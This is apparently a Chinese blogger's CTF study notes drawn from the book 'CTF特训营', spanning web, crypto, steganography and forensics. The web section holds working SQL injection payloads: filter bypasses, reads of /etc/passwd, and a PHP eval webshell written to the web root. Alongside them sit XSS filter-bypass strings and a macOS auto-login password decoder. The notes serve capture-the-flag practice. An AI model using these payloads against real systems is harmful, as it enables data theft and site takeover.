永远年轻,永远热泪盈眶

CTF特训营

家中没网,网线昨晚出问题了,一直在等待修复。所以就在无聊时间看看书,另:这两年都不是很好,希望灾难赶快过去。

Web

SQL注入

Sqlmap使用:https://m0re.top/posts/e63eb101/

一些绕过技巧

过滤关键字

# 双写绕过
select	  --		selselectect
or 		  --		oorr
union	  -- 		uniunionon
# 大小写绕过
select	  --		SelEct
or		  --		Or
# 十六进制(0x)
select 	  -- 		selec\x74
or 		  -- 		o\x72
union 	  -- 		unio\x6e
# 双重URL编码绕过
from	  -- 		%25%36%36%25%36%36%25%37%32%25%36%64
or		  --		%25%36%66%25%37%32
union 	  -- 		%25%37%35%25%36%39%25%36%65%25%36%66%25%36%65

过滤空格

# 通过注释符绕过
#
--
//
/**/
;%00
select/**/username/**/from/**/user
# URL编码绕过
#   空格的编码是%20,进行二次url编码进行绕过
%20		--		%2520
# 空白字符绕过
# 数据库中一些常见的可以用来绕过空格过滤的空白符
SQLite3		--		0A,0D,0C,09,20
MySql5		--		09,0A.0B,0C,0D,09,20
PosgresSQL	--		0A,0D,0C,09,20
Oracle 11g	--		01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
# 特殊符号绕过
select`user`,`password`from
    #使用反引号对空格绕过,在不同场景下,(+,-,!,)也会有同样的效果

SQL读写文件

有些题目的flag文件并不在数据库中,需要考虑文件读取或者写入shell进行获取flag,在MySQL中,如果拥有file写入权限,可以使用load_fileinto outfile/dumpfile进行读写操作

select username from user where id=$id
# 构造
?id=-1+union+select+load_file('/etc/passwd')
#在某些需要绕过单引号的情况下,可以使用文件名的十六进制作为load_file函数的参数
?id=-1+union+select+load_file(0x2f6574632f706173737764)

若题目有给flag的位置或者通过其他漏洞泄露了flag文件的位置,则可以直接读取。
若没有给出,则可以考虑读取常见的配置文件或敏感文件,如MySQL的配置文件,Apache的配置文件,.bash_history
写入文件的话,可以选择写入Webshell,计划任务等

?id=-1+union+select+'<?php eval($_POST[007]);?>'+into+outfile'/var/www/html/shell.php'
?id=-1+union+select+unhex(0x3c3f706870206576616c28245f504f53545b3030375d293b3f3e)+into+outfile'/var/www/html/shell.php'

需要注意写文件时确定有权限。并且写入的文件名不能为已存在文件。

报错注入

updatexml

函数报错

?id=1'+updatexml(1,concat(0x7e,(select version),0x7e),1)%23

floor

floor报错原理是randorder bygroup by的冲突

# 爆破数据库版本信息
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
# 爆破当前用户
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
# 爆破当前数据库
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

exp

exp()报错的本质是溢出报错

?id=1' and exp(~(select * from (select user())x))%23

盲注

截取

# substr()函数是字符串截取函数,使用方法
substr(str,start,length)
# str为被截取的字符串,start为开始截取的位置,length为截取的长度
# left()👈左截取函数
left(str,length)
# 从左开始截取length位
# right()👉右截取函数
right(str,length)
# 从左开始截取length位

转换

# ascii()经常结合substr()函数使用。
ascii(char)
# 如果char是一串字符串,那么将返回第一个字符的ascii码
ascii(substr(user(),1,1))#获取user()第一个字符的ASCII码
# hex() 将字符串的值转换为十六进制的值,在ascii()函数被禁用时,或者需要将二进制数据写入文件时可以使用该函数,用法类似ascii()

比较

if函数时盲注中常用的函数
?id=1 and 1=if(ascii(substr(user(),1,1))=97,1,2)%23
#如果user()表第一位是'a',则返回1,否则就返回2,如果返回2,那么and后的条件不成立,返回错误页面,这个时候就可以根据页面数据的长度来判断,从而达到盲注的效果

注入点的位置与发现

常见的注入点

get参数中的注入,一般最容易发现,因为在url中,可以使用sqlmap进行验证是否存在注入或者手工验证
post中的注入点,一般需要抓包来发现,同样可以使用sqlmap进行验证
user-agent中的注入,使用burpsuite抓包,或者使用sqlmap,设置参数level=3,sqlmap就会自动检测user-agent中是否存在注入
cookie注入,1.burpsuite	2.sqlmap设置参数为level=2

判断注入点是否存在

# 插入单引号
# 数字型通过and 1=1和闭合单引号测试语句'and'1'='1
# 通过数字加减判断
?id=3-1如果与?id=2相同,那么证明id这个输入处可能存在SQL注入

XSS

XSS的题目我见得不多,所以没有将其书中的内容进行总结下来,只记录一些绕过方式吧。

/*字符串拼接与混淆*/
window['alert'](/xss/);
	/*进行拼接混淆*/
	window['al'+'ert'](/xss/);
	/*或者使用JavaScript自带的base64编码解码函数来绕过*/
	window[atob("YWxl"+"cnQ=")](/xss/);
/*编码解码*/
/*HTML进制编码:			十进制(&#97;)、十六进制(&#x61;)
CSS进制编码:			兼容HTML中的进制表现形式
JavaScript进制编码:		八进制(\141)、十六进制(\x61)、Unicode编码(\u61)
URL编码: %61
JSfuck编码
*/
/*location.*、	window.name*/
#敏感关键字过滤
location.*
    ?input=<input onfocus=outerHTML=decodeURL(location.hash)>#<img src=x onerror=alert(/xss/)>
window.name
	?input=%3Cinput%20onfocus=location=window,name%3E"name="javascript:alert(/xss/)"></iframe>
/*过滤(.)*/
with(document)alert(cookie);
/*过滤"()"*/
window,onerror=alert;throw 1;
/*过滤空格*/
#使用换行符	0x09,0x19,0x12,0x13,0x0a?input=<img%0asrc=x%0aonerror=alert(/xss/)>
#在标签名称和第一个属性间也可以使用"/"代替空格
<input/onfocus=alert(/xss/)>

环境特性

PHP特性就不列了

Windows系统特性

  1. 短文件名
    在cmd中输入dir/x即可看到短文件名效果。在Windows的apache环境下,可以通过短文件直接在下长文件,工具:IIS_shortname_Scanner
  2. 文件上传
    黑名单限制后缀,可以使用Windows文件系统特性绕过,在文件名后追加高位字符[\x80-0xff]这样可以绕过黑名单而上传成功,且上传后的文件会去掉[\x80-\xff]与高位字符具有同样效果的还有::$data
    还有冒号:,上传时后缀若改成.php:.png也可以上传成功,不过内容不能成功写入。

    源码泄露

    文本备份&整站源码备份
    .index.php.swp
    .index.php.swo
    index.php~
    index.php.bak
    index.php.txt
    index.php.old
    www/wwwdata/wwwroot/webroot/backup/dist.zip/tar/tar.gz/7z/rar/...
    .DS_Store
    其它常见源码泄露:git泄露、svn泄露等
    详细内容参考:https://m0re.top/posts/875fe7b5/index.html
    .DS_Dtore文件泄漏检测脚本:https://github.com/lijiejie/ds_store_exp
    robots.txt:做web题应当必须检测这个隐藏网页。http://www.robotstxt.org/
    爆破目录也是一种手段
    一种不常见的信息泄露.bzr: 这里再分享一种源码泄露的工具:https://github.com/kost/dvcs-ripper
         Rip 网络可访问(分布式)版本控制系统:`SVN`、`GIT`、`Mercurial/hg`、`bzr`、...
         即使关闭目录浏览,它也可以翻录存储库。
         确保将自己置于要下载/克隆存储库的空目录中。
    如果给了Mac自动登录密码文件/etc/kcpassword,使用代码进行破解
def kcpasswd(ciphertext):
    key = '7d895223d2bcddeaa3b91f'
    while len(key) < (len(ciphertext)*2):
        key = key + key
    key = binasciiunhexlify(key)
    result = ''
    for i in range(len(ciphertext)):
        result += chr(ord(ciphertext[i]) ^ (key[i]))
    return result

这个项目是非常不错的:Payload All The Things

其它

NodeJS参考:https://m0re.top/posts/63e48fc9/
SSTI模板注入:首先尝试等泄露密钥方式,或者参考:
https://blog.nvisium.com/injecting-flask
https://blog.nvisium.com/p263
https://blog.nvisium.com/p255

Crypto

虽然从没做过密码学的题目,但是也看一下吧。我平时使用的一些在线网站

常见的编码

#编码							格式						在线网站
hex							#十六进制					百度即可
urlencode					#url编码					  百度即可
morsecode					#摩斯密码					链接在下方
jsfuck						#js代码					 浏览器控制台可解	
uuencode					#很像base64编码				千千秀字: http://www.qqxiuzi.cn/bianma/uuencode.php
base家族												# 在下方	

摩斯密码:https://morsecode.scphillips.com/translator.html
Morse Code Adaptive Audio Decoder
摩斯密码 - 在线工具
base家族:Base64编码转换工具,Base64加密解密
CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

古典密码

凯撒密码/栅栏密码/维吉尼亚密码/ROT13/埃特巴什码/培根密码/猪圈密码/仿射密码/
云影密码: 密文中仅包含01248五个数字,其中用0进行分割
棋盘密码:
	密钥为5x5的棋盘
希尔密码: 
	矩阵

维吉尼亚密码:维吉尼亚密码爆破
https://cryptii.com/
正常解(已知密钥)百度搜索其他在线网站
内容不多,感兴趣请自行看书。附上我博客上的工具页:https://m0re.top/Tools/index.html

脑洞大开的密码

Playfair Cipherhttp://bionsgadgets.appspot.com/ww_forms/playfair_ph_web_worker3.html
Polybius Square:https://www.braingle.com/brainteasers/codes/polybius.php
The Engima(英吉码):http://enigma.louisedade.co.uk/enigma.html, https://www.dcode.fr/enigma-machine-cipher
International Code of Signals Maritime(国际海事信号规则):
https://www.marvindisplay.com/images/SignalFlags.gif
https://www.dcode.fr/maritime-signals-code
匕首密码:https://www.dcode.fr/daggers-alphabet

海莉安语(暮光公主):https://www.dcode.fr/hylian-language-twilight-princess

Hylian Language (Breath of the Wild):海利亚语(荒野之息)——https://www.dcode.fr/hylian-language-breath-of-the-wild

Sheikah Language (Breathe of the Wild):谢卡语(旷野之息)——https://www.dcode.fr/sheikah-language

Hexahue Alphabet:六胡字母——https://www.boxentriq.com/code-breaking/hexahue

埃及字符
一些 CTF 会尝试在带有奇怪符号的图片上隐藏消息。尝试和谷歌反向图像搜索这些。他们可能是埃及字符

Base65535
Unicode 字符编码。包括很多看似随机的空格和汉字!

𤇃𢊻𤄻嶜𤄋𤇁𡊻𤄛𤆬𠲻𤆻𠆜𢮻𤆻ꊌ𢪻𤆻邌𤆻𤊻𤅋𤲥𣾻𤄋𥆸𣊻𤅛ꊌ𤆻𤆱炼綻𤋅𤅴薹𣪻𣊻𣽻𤇆𤚢𣺻赈𤇣綹𤻈𤇣𤾺𤇃悺𢦻𤂻𤅠㢹𣾻𤄛𤆓𤦹𤊻𤄰炜傼𤞻𢊻𣲻𣺻ꉌ邹𡊻𣹫𤅋𤇅𣾻𤇄𓎜𠚻𤊻𢊻𤉛𤅫𤂑𤃃𡉌𤵛𣹛𤁐𢉋𡉻𡡫𤇠𠞗𤇡𡊄𡒌𣼻燉𣼋𦄘炸邹㢸𠞻𠦻𡊻𣈻𡈻𣈛𡈛ꊺ𠆼𤂅𣻆𣫃𤮺𤊻𡉋㽻𣺬𣈛𡈋𤭻𤂲𣈻𤭻𤊼𢈛儛𡈛ᔺ

https://github.com/qntm/base65536

深奥的语言

一个在线网站,可以尝试多种不常见的语言:https://tio.run/#
Brainfuck:https://copy.sh/brainfuck/
COW:特点是只有moo MOO mOO等,在线网站:https://tio.run/

#例子
 MoO moO MoO mOo MOO OOM MMM moO moO
 MMM mOo mOo moO MMM mOo MMM moO moO
 MOO MOo mOo MoO moO moo mOo mOo moo

Malboge:看起来很像 Base85……在线工具——http://www.malbolge.doleczek.pl/

#例子
(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc

Piet:一种图形编程语言……看起来像各种颜色的大 8 位像素,在线工具:

Rockstar:在线网站——https://codewithrockstar.com/online

#例子
Midnight takes your heart and your soul
While your heart is as high as your soul
Put your heart without your soul into your heart

Give back your heart


Desire is a lovestruck ladykiller
My world is nothing
Fire is ice
Hate is water
Until my world is Desire,
Build my world up
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
Shout "FizzBuzz!"
Take it to the top

If Midnight taking my world, Fire is nothing
Shout "Fizz!"
Take it to the top

If Midnight taking my world, Hate is nothing
Say "Buzz!"
Take it to the top

Whisper my world

Misc

如果您的挑战引用“EFF”或以某种方式包含骰子,或展示长度为 5 的数字 1-6,请尝试https://www.eff.org/dice。这可能是指由掷骰子生成的密码短语,此处提供:https://www.eff.org/files/2016/07/18/eff_large_wordlist.txt

隐写术

  • DNA代码
    当给定一个只有 A、C、G、T 的序列时,有一个针对这些的在线映射

  • 提取缩略图(数据覆盖在原始图像中)
    如果您的图像覆盖了您需要的数据,请尝试查看缩略图:

    exiftool -b -ThumbnailImage my_image.jpg > my_thumbnail.jpg
  • 检测 DTMF 音调
    电话按钮通用的音频频率,DTMF:https : //en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling

  • 电话键盘
    有些信息可能被一串数字隐藏,但实际上是用旧的手机键盘编码的,比如重复数字的短信:
    https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQSySxHjMFv80XWp74LZpfrnAro6a1MLqeF1F3zpguA5PGSW9ov

  • SONIC Visualizer(音频频谱)
    一些经典挑战使用音频文件来隐藏标志或其他敏感内容。SONIC 可视化器可以轻松地向您显示频谱图如果听起来声音中有随机的哔哔声和杂音,试试这个策略!

  • XIAO Steganography
    作为 Windows 特定的工具,它通常用于 CTF 以隐藏音频文件中的标志。看看挑战是否有一些可能类似于密码的奇怪字符串。

  • Unicode 隐写术/零宽度空格字符
    一些可能试图以一种看似无辜的方式隐藏某些东西的文本,例如“嗯,这里可能隐藏着某些东西……”可能包含零宽度字符。这是一个可能有帮助的实用程序: https://330k.github.io/misc_tools/unicode_steganography.html …其他选项只是 Python IDLE 中的粗略查找和替换操作。

  • 在线 LSB 工具
    有许多在线 LSB 工具以不同的方式工作。如果您收到一个文件,您知道它是最低有效位挑战的一部分,请尝试以下工具:
    https://manytools.org/hacker-tools/steganography-encode-text-into-image/仅支持 PNG https://stylesuxx.github.io/steganography/

  • 其他隐写工具:https://github.com/DominicBreuker/stego-toolkit

  • zsteg:用于对抗最低有效位隐写术的命令行工具……不幸的是,它只适用于 PNG 和 BMP 图像。

  • jsteg:另一个用于处理 JPEG 图像的命令行工具。https://github.com/lukechampine/jsteg为 Hackerrank Codefest CTF 2018 提供便利。

  • 空白:制表符和空格可以表示 1 和 0 并将它们视为二进制消息……或者,它们可以是空格snow或深奥的编程语言解释器:https://tio.run/#whitespace

    取证

  • Keepass:keepassx可以安装在 Ubuntu 上以打开和探索 Keepass 数据库。Keepass 数据库主密码可以用keepass2john.

  • dumpzilla:用于检查配置文件、检查下载、书签、历史记录或书签以及注册密码的Python脚本.mozilla。用法可能是这样的:

    python dumpzilla.py .mozilla/firefox/c3a958fk.default/ --Downloads --History --Bookmarks --Passwords
  • 修复图像在线工具:https://online.officerecovery.com/cn/pixrecovery/

  • binwalk/foremost

  • photorec
    附带的另一个命令行实用程序testdisk。它是一种文件数据恢复软件,旨在恢复丢失的文件,包括硬盘、CD-ROM 中的视频、文档和档案,以及数码相机内存中丢失的图片(因此称为照片恢复名称)。PhotoRec 会忽略文件系统并跟踪底层数据,因此即使您的媒体文件系统已严重损坏或重新格式化,它仍然可以工作。

  • Forensically 是免费的在线图像分析工具,该工具具有许多功能,例如放大镜、克隆检测、错误级别分析、噪声分析、级别扫描、元数据、地理标记、缩略图分析、JPEG 分析、字符串提取。https://29a.ch/photo-forensics/#forensic-magnifier

  • volatility: https://m0re.top/posts/c6e31ef3/

  • 对 DICE 或 EFF 的引用
    如果您的挑战引用“EFF”或以某种方式包含骰子,或展示长度为 5 的数字 1-6,请尝试https://www.eff.org/dice。这可能是指由骰子卷生成的密码短语,此处提供:https://www.eff.org/files/2016/07/18/eff_large_wordlist.txt

  • shell命令行受限制,可以使用mapfile

    mapfile -t  < /etc/passwd

Reference

CTFtricks:https://github.com/JohnHammond/ctf-katana
《CTF特训营》